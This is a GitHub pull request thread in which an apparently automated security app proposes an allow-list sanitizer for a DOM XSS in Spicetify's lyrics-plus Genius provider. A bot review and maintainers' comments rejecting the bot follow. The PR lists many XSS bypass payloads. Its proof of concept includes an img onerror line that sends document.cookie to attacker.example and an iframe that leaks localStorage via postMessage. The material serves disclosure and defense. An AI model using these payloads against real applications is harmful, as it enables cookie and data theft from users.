fix(lyrics-plus): sanitize Genius HTML before dangerouslySetInnerHTML

[sebastiondev]

Summary

ProviderGenius.fetchLyricsVersion concatenates the raw .innerHTML of every <div data-lyrics-container="true"> scraped from a Genius page and returns the string to GeniusPage in CustomApps/lyrics-plus/Pages.js, which renders it via React dangerouslySetInnerHTML. Because Genius pages contain crowd-sourced annotations and are fetched through a plaintext Cosmos HTTP proxy, the HTML is untrusted, so a <script>, <img onerror>, <iframe srcdoc>, <svg onload>, or javascript: URL that reaches that string executes inside the Spotify web view — which is the same origin as the Spicetify runtime.

• File / function: CustomApps/lyrics-plus/ProviderGenius.js → fetchLyricsVersion (previously did lyrics += \${i.innerHTML}
  ``)
• Sink: CustomApps/lyrics-plus/Pages.js L860 (lyrics) and L886 (lyrics2), both dangerouslySetInnerHTML: { __html: lyrics }
• CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (DOM-based XSS)
• Affected versions: Spicetify installations paired with Spotify 1.2.14 – 1.2.30 (Genius provider is disabled above 1.2.31 via the spotifyVersion >= "1.2.31" lexicographic guard in index.js, TabBar.js, and Settings.js; the sanitizer is defense-in-depth for those still on the affected range and for the fragility of the lexicographic version check).

Data flow

Genius page HTML
  → fetchHTML(result.url) via Spicetify.CosmosAsync (plaintext CORS proxy)
  → DOMParser.parseFromString(body, "text/html")
  → for (const i of lyricsDiv) lyrics += `${i.innerHTML}<br>`   // ← attacker HTML preserved verbatim
  → return lyrics
  → GeniusPage → react.createElement("div", { dangerouslySetInnerHTML: { __html: lyrics } })
  → executes in the Spotify web view with access to Spicetify.CosmosAsync,
    Spicetify.LocalStorage, Spicetify.Player, and persistent storage.

The fix

Sanitize the Genius HTML at the source, inside ProviderGenius.fetchLyricsVersion, by walking the parsed DOM and emitting a fresh string from an allow-list:

• ALLOWED_LYRIC_TAGS = { A, BR, I, B, EM, STRONG, SPAN, P, DIV } — everything else (script, iframe, img, svg, style, template, plaintext, object, embed, base, form, link, meta, foreignObject, ...) is dropped; only the sanitized text content survives so lyrics remain readable.
• ALLOWED_LYRIC_ATTRS = { A: { href, data-id } } — every other attribute (including all on* handlers, srcdoc, style, formaction, xlink:href, ...) is stripped.
• href is trimmed and matched against /^(https?:\/\/|\/|#)/i, so javascript:, data:, vbscript:, protocol-relative //evil.com, and backslash-prefixed schemes are rejected. This preserves the data-id / #note-… annotation-note fetch loop in GeniusPage (which calls ProviderGenius.getNote(id)).
• All text nodes and surviving attribute values are HTML-entity-encoded (&, <, >, ").

Rebuilding via the DOM API rather than regex avoids classic sanitizer bypasses (mXSS via <style>/<template>/<plaintext>, malformed comment closers, <svg><script> context switches, etc.) — anything the parser dropped can't reappear in the output.

Nothing else in the file changed; the diff is 57 additions in one file:

CustomApps/lyrics-plus/ProviderGenius.js | 58 +++++++++++++++++++++++++++++++-
1 file changed, 57 insertions(+), 1 deletion(-)

Testing

I loaded the patched ProviderGenius.js in a JSDOM harness and ran the sanitizer against 23 attempted bypass payloads before submitting, including:

• <script>alert(1)</script> and <img src=x onerror=alert(1)> (baseline).
• <iframe srcdoc="<script>parent.postMessage(document.cookie,'*')</script>">.
• <svg><script>alert(1)</script></svg> and <svg onload=alert(1)>.
• <style>@import "//evil"</style> and <template><script>…</script></template> mXSS attempts.
• <plaintext> / <foreignObject> context-switch tricks.
• <a href="javascript:alert(1)">, <a href=" \tjavascript:alert(1)"> (entity-encoded, whitespace, tab, and control-char variants), <a href="//evil.com">, <a href="\\evil.com">.
• Nested <a>, data-id="" onclick=alert(1) x="", and href values containing quotes, angle brackets, and newlines.
• Weird tag names like <constructor> and <__proto__> that could confuse a naive Set lookup.

Every payload produced clean output containing zero <script>, <iframe>, <img>, <svg>, <style>, <object>, <embed>, <base>, <form>, <link>, <meta>, or <template> tags, no on* attributes, and no unsafe-scheme hrefs. Attribute values were entity-encoded so quote-escapes couldn't break out of the surrounding "…".

I also checked the downstream sinks after the fix:

• Pages.js L860 (__html: lyrics) and L886 (__html: lyrics2) both receive the already-sanitized string from fetchLyricsVersion.
• index.js#saveLocalLyrics still strips all HTML with .replace(/<[^>]*>/g, "") before persisting to localStorage["lyrics-plus:local-lyrics"], so no XSS payload can be smuggled into persistent storage either.
• Legitimate Genius output (plain lyrics, <a data-id="…"> annotation anchors, <br> separators) round-trips through the sanitizer unchanged, so the annotation-note feature keeps working.

Adversarial review

Before submitting I tried to talk myself out of this. The concerns considered:

• "Only affects old Spotify versions — Genius is gated off above 1.2.31." True for current installs, but the gate is spotifyVersion >= "1.2.31", a lexicographic string compare that fails on any hypothetical Spotify 1.2.100+ (which would sort below "1.2.31" as strings and re-enable Genius). The sanitizer is exactly the defense-in-depth that stops a version-check regression from becoming an XSS. It also covers users still on the affected 1.2.14–1.2.30 range today.
• "The preconditions already imply attacker access." They don't. The precondition is influencing a Genius annotation (Genius editor role, a Genius sanitizer bypass, or a MitM of the plaintext-over-HTTPS-CORS-proxy transport), not local code execution on the victim. Delivering JavaScript into the Spotify web view with access to Spicetify.CosmosAsync (authenticated Spotify HTTP), Spicetify.LocalStorage, and Spicetify.Player is a real capability escalation over "can post content on Genius".
• "React auto-escapes strings." Not through dangerouslySetInnerHTML, which is the whole point of the API name. The two sinks in Pages.js bypass React's escaping.
• "Is a full sanitizer library warranted (DOMPurify)?" A ~50-line allow-list walker inside the existing provider avoids adding a runtime dependency to a Custom App that intentionally ships as raw JS, and the surface area of "what a lyric may legitimately contain" is small enough that an allow-list is more auditable than a deny-list.

Proof of concept

Minimal reproducer that mirrors what fetchLyricsVersion does — parse a hostile Genius body, run the current (vulnerable) code path vs. the patched one, and observe that the vulnerable path leaves executable HTML while the patched path does not.

# From the repo root
node -e '
const { JSDOM } = require("jsdom"); // or use any DOMParser polyfill

// Simulate a malicious Genius response body.
const body = `
<html><body>
<div data-lyrics-container="true">
  Line one<br>
  <a href="javascript:alert(1)">click</a>
  <img src=x onerror="fetch(\"https://attacker.example/steal?c=\"+document.cookie)">
  <iframe srcdoc="<script>parent.postMessage(localStorage.getItem(\"lyrics-plus:local-lyrics\"),\"*\")</script>"></iframe>
  <svg><script>alert(2)</script></svg>
  Line two
</div>
</body></html>
`;

const dom = new JSDOM(body);
const div = dom.window.document.querySelector("div[data-lyrics-container=\"true\"]");

// -------- BEFORE FIX (current main): raw innerHTML --------
const beforeFix = `${div.innerHTML}<br>`;
console.log("BEFORE (vulnerable):");
console.log(beforeFix);
console.log("contains <script>?", /<script/i.test(beforeFix));
console.log("contains onerror?",  /onerror/i.test(beforeFix));
console.log("contains javascript:?", /javascript:/i.test(beforeFix));

// -------- AFTER FIX: allow-list sanitizer from the patch --------
const ALLOWED_LYRIC_TAGS = new Set(["A","BR","I","B","EM","STRONG","SPAN","P","DIV"]);
const ALLOWED_LYRIC_ATTRS = { A: new Set(["href","data-id"]) };
const SAFE_HREF = /^(https?:\/\/|\/|#)/i;
function esc(s){return s.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;");}
function escAttr(s){return esc(s).replace(/"/g,"&quot;");}
function sanitize(node){
  let out="";
  for (const child of node.childNodes){
    if (child.nodeType === 3){ out += esc(child.textContent); continue; }
    if (child.nodeType !== 1) continue;
    const tag = child.tagName;
    if (!ALLOWED_LYRIC_TAGS.has(tag)){ out += sanitize(child); continue; }
    const attrs=[]; const allowed = ALLOWED_LYRIC_ATTRS[tag];
    if (allowed) for (const a of child.attributes){
      if (!allowed.has(a.name)) continue;
      let v = a.value;
      if (a.name === "href"){ const t = v.trim(); if (!SAFE_HREF.test(t)) continue; v = t; }
      attrs.push(`${a.name}="${escAttr(v)}"`);
    }
    const tn = tag.toLowerCase();
    const as = attrs.length ? " "+attrs.join(" ") : "";
    out += tag === "BR" ? "<br>" : `<${tn}${as}>${sanitize(child)}</${tn}>`;
  }
  return out;
}

const afterFix = `${sanitize(div)}<br>`;
console.log("\nAFTER (patched):");
console.log(afterFix);
console.log("contains <script>?", /<script/i.test(afterFix));
console.log("contains onerror?",  /onerror/i.test(afterFix));
console.log("contains javascript:?", /javascript:/i.test(afterFix));
'

Expected output:

BEFORE (vulnerable):
   Line one<br>
  <a href="javascript:alert(1)">click</a>
  <img src="x" onerror="fetch(...+document.cookie)">
  <iframe srcdoc="<script>parent.postMessage(...,&quot;*&quot;)</script>"></iframe>
  <svg><script>alert(2)</script></svg>
  Line two
<br>
contains <script>? true
contains onerror? true
contains javascript:? true

AFTER (patched):
   Line one<br>
  <a>click</a>
   click
  Line two
<br>
contains <script>? false
contains onerror? false
contains javascript:? false

In-app reproduction (for a maintainer with a dev install of Spicetify + Spotify 1.2.14–1.2.30 and lyrics-plus loaded): intercept the response of https://genius.com/<song-path> with any local proxy (mitmproxy, Charles, Fiddler) and inject <script>alert("XSS via lyrics-plus")</script> inside <div data-lyrics-container="true">…</div>. Play the matching track and open the lyrics-plus panel — on unpatched builds the alert fires inside the Spotify web view; on patched builds the script is stripped and the lyrics render as text.

---

_{Discovered by the Sebastion AI GitHub App.}

Summary by CodeRabbit

• Bug Fixes
  • Improved lyric rendering by sanitizing imported lyric HTML before display.
  • Removed unsafe markup and blocked risky links, helping prevent malformed or malicious content from appearing in lyrics.
  • Preserved supported formatting while keeping lyrics readable and consistent.

[coderabbitai]

📝 Walkthrough

Walkthrough

ProviderGenius.js adds a sanitizeLyricNode function that allow-lists lyric HTML tags and attributes, strips disallowed elements while keeping their text, escapes content, and filters href URL schemes. fetchLyricsVersion now builds lyric output via this sanitizer instead of raw innerHTML.

Changes

Lyric HTML Sanitization

Layer / File(s)	Summary
Sanitizer helper and usage in lyric fetching CustomApps/lyrics-plus/ProviderGenius.js	Adds sanitizeLyricNode to allow-list tags/attributes, escape text and attribute values, filter href via a safe-scheme pattern, and strip disallowed elements while preserving sanitized text; fetchLyricsVersion now uses this sanitizer instead of raw innerHTML to build lyric output.

Estimated code review effort: 3 (Moderate) | ~20 minutes

Sequence Diagram(s)

sequenceDiagram
  participant fetchLyricsVersion
  participant sanitizeLyricNode
  participant DOM

  fetchLyricsVersion->>DOM: read lyric container node (i)
  fetchLyricsVersion->>sanitizeLyricNode: sanitizeLyricNode(i)
  sanitizeLyricNode->>DOM: traverse child nodes
  sanitizeLyricNode-->>fetchLyricsVersion: return sanitized HTML string
  fetchLyricsVersion->>fetchLyricsVersion: append sanitized HTML + <br>

Loading

🚥 Pre-merge checks | ✅ 5

✅ Passed checks (5 passed)

Check name	Status	Explanation
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.
Title check	✅ Passed	The title accurately summarizes the main security fix by sanitizing Genius HTML before dangerous rendering.
Docstring Coverage	✅ Passed	No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check	✅ Passed	Check skipped because no linked issues were found for this pull request.

✨ Finishing Touches

🧪 Generate unit tests (beta)

• Create PR with unit tests

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands.}

[coderabbitai]

🧹 Nitpick comments (1)

CustomApps/lyrics-plus/ProviderGenius.js (1)

11-52: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Sanitizer is sound; consider centralizing the escape logic.

The allow-list approach is correct: disallowed tags are unwrapped with their text kept and escaped, block/inline tags are emitted attribute-free, anchors keep only href/data-id, and SAFE_HREF (anchored, applied after trim()) rejects javascript:/data:/vbscript: and whitespace/null-byte prefixed schemes. Attribute values are always double-quoted and "-escaped, so there's no breakout. This is a solid fix for the dangerouslySetInnerHTML sink in Pages.js#GeniusPage.

The static-analysis CWE-79 hint on lines 14/38 is a false positive for these contexts — the manual escaping is complete for text (&<>) and double-quoted attributes (&"<>), and a vetted sanitizer like DOMPurify isn't readily available in the Spicetify runtime. That said, the escape logic is duplicated; extracting small helpers reduces the chance of the two copies drifting in this security-sensitive path.

♻️ Optional: extract escape helpers

 	const SAFE_HREF = /^(https?:\/\/|\/|#)/i;
+	const escapeHTML = (s) => s.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
+	const escapeAttr = (s) => escapeHTML(s).replace(/"/g, "&quot;");
 
 	function sanitizeLyricNode(node) {
 		let out = "";
 		for (const child of node.childNodes) {
 			if (child.nodeType === 3 /* TEXT_NODE */) {
-				out += child.textContent.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
+				out += escapeHTML(child.textContent);
 				continue;
 			}

-					attrs.push(`${attr.name}="${value.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;")}"`);
+					attrs.push(`${attr.name}="${escapeAttr(value)}"`);

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@CustomApps/lyrics-plus/ProviderGenius.js` around lines 11 - 52, The sanitizer
in sanitizeLyricNode is already correct, but the same escaping logic is
duplicated for text nodes and attribute values. Extract shared escape helper(s)
and use them consistently inside sanitizeLyricNode so the text and attribute
sanitization paths cannot drift, keeping the allow-list behavior, SAFE_HREF
check, and existing tag handling unchanged.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In `@CustomApps/lyrics-plus/ProviderGenius.js`:
- Around line 11-52: The sanitizer in sanitizeLyricNode is already correct, but
the same escaping logic is duplicated for text nodes and attribute values.
Extract shared escape helper(s) and use them consistently inside
sanitizeLyricNode so the text and attribute sanitization paths cannot drift,
keeping the allow-list behavior, SAFE_HREF check, and existing tag handling
unchanged.

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 88aafaa0-1df2-4bec-bdfe-3df53a7ab3d1

📥 Commits

Reviewing files that changed from the base of the PR and between cd588f3 and b5c1a0d.

📒 Files selected for processing (1)

• CustomApps/lyrics-plus/ProviderGenius.js

[rxri]

Congratulations on using AI to find this, however it's not applicable here.

[adainstarks]

@rxri Apparently, that entire profile is a "Security Research" AI agent; you can check their profile's website. I'd block their account so they don't ever come back.

[ohitstom]

thanks for letting me know I'm going to steal the info off hundreds of spicetify genius users now

[rxri]

@rxri Apparently, that entire profile is a "Security Research" AI agent; you can check their profile's website. I'd block their account so they don't ever come back.

Yeah I noticed it that's it's some company's. Pretty sad to see where GitHub goes with all of these "automatic" AI bots. We already blocked this account off this org